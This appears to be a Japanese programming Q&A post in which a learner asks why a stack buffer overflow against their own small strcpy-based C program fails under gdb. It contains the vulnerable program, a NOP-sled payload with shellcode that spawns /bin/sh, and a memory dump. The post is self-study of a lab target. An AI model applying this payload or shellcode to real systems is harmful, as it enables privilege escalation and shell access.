0

バッファ オーバーフローがどのように機能するかを学んでいて、基本的なバッファ オーバーフローのケースをいくつか試しましたが、リターン アドレスの変更中にエラーが発生しました。戻りアドレスは正しく、そのメモリ内の操作も正しいのですが、私の問題はリップ (命令ポインター) がアドレスに移動しないことです。

私の簡単なプログラムコード:

int main(int argc, char **argv){
char str[256];
strcpy(str, argv[1]);
printf("%s\n", str);

return 0;
}

最初にgdbで「str」アドレスを検索する0x7fffffffe0d0と、それが見つかり、戻りアドレスが にある0x7fffffffe1d8ので、NOPとシェルコードを入力するための264の空きスペースがあります。しかし、それをコンパイルした後、gcc はまだセグメンテーション エラーを表示し、デバッグすると、gdb0x00007fffffffe110 in ?? ()はリターン アドレスが私が書いた構文と同じであることを私に尋ねました。そのメモリにはまだ NOP が含まれていて、命令ポインタはシェルコードにスレッドします。誰かが私の問題を解決するのを手伝ってくれますか?

gdb の私の構文:

run $(python -c 'print "\x90" * 218 + "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x10\xe1\xff\xff\xff\x7f"')

 

0x7fffffffe0d0: 0x9090909090909090  0x9090909090909090
0x7fffffffe0e0: 0x9090909090909090  0x9090909090909090
0x7fffffffe0f0: 0x9090909090909090  0x9090909090909090
0x7fffffffe100: 0x9090909090909090  0x9090909090909090
0x7fffffffe110: 0x9090909090909090  0x9090909090909090
0x7fffffffe120: 0x9090909090909090  0x9090909090909090
0x7fffffffe130: 0x9090909090909090  0x9090909090909090
0x7fffffffe140: 0x9090909090909090  0x9090909090909090
0x7fffffffe150: 0x9090909090909090  0x9090909090909090
0x7fffffffe160: 0x9090909090909090  0x9090909090909090
0x7fffffffe170: 0x9090909090909090  0x9090909090909090
0x7fffffffe180: 0x9090909090909090  0x9090909090909090
0x7fffffffe190: 0x9090909090909090  0x9090909090909090
0x7fffffffe1a0: 0x9090909090909090  0xdb3146b0c0319090
0x7fffffffe1b0: 0x315b16eb80cdc931  0x89085b89074388c0
0x7fffffffe1c0: 0x8d084b8d0bb00c43  0xffffe5e880cd0c53
0x7fffffffe1d0: 0x68732f6e69622fff  0x00007fffffffe110

ありがとう !!

4

0 に答える 0